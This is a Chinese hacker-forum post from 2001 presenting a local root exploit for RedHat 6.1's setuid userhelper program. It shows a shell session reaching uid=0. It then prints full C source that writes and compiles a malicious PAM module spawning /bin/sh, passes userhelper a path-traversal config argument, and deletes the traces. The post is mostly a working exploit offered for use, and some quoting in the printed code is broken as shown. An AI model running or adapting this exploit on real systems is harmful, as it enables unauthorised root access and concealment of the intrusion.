黑客在线

讲述黑客的故事,勾划hack人生

48 成员207 主题510 回复0 张照片

通过redhat的userhelper文件获取root的测试

大
大鹰
2001-02-10 02:00
作者:大鹰
<suneagle@patching.net>
redhat 6.1 默认安装
存在userhelper 这个文件,有不正确的suid(set uid) 位


unix 中每个用户都有一个uid,以确定对不同文件的访问权限.
uid 一般存在3种形式:真实uid,有效uid 和可保存uid.
由于程序设计的需要,用户可以运行一个setuid 程序,而此程序可以将有效uid设置为0(root 权限).

[suneagle]# ls -al /usr/sbin/userhelper
-rwsr-xr-x  1 root   root    17304 Sep 21 1999 /usr/sbin/userhelper

可通过此文件得到root 权限

过程:
[suneagle]$ gcc -o pam-mdk pam-mdk.c
[suneagle]$ ./pam-mdk
bash# id
uid=0(root) gid=500(solaris) groups=500(solaris)
bash#


代码:
------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    FILE *fp;

    strcpy(argv[0], "vi test.txt");

    fp = fopen("abc.c", "a");
    fprintf(fp, "#include<stdlib.h>\n");
    fprintf(fp, "#include<unistd.h>\n");
    fprintf(fp, "#include<sys/types.h>\n");
    fprintf(fp, "void _init(void) {\n");
    fprintf(fp, "\tsetuid(geteuid());\n");
    fprintf(fp, "\tsystem("/bin/sh");\n");
    fprintf(fp, "}");
    fclose(fp);
/*以上是新建abc.c,写进c代码*/
    system("echo -e auth\trequired\t$PWD/abc.so > abc.conf");
    system("chmod 755 abc.conf");
    system("gcc -fPIC -o abc.o -c abc.c");/*编译abc.c成abc.o*/
    system("ld -shared -o abc.so abc.o");
    system("chmod 755 abc.so");
    system("/usr/sbin/userhelper -w ../../..$PWD/abc.conf");
    system("rm -rf abc.*");
}

以上程序在redhat6.1的默认安装上通过测试。
代码很简单,就是利用userhelper程序的setuid漏洞,呵呵
1 / 1

登录后回复。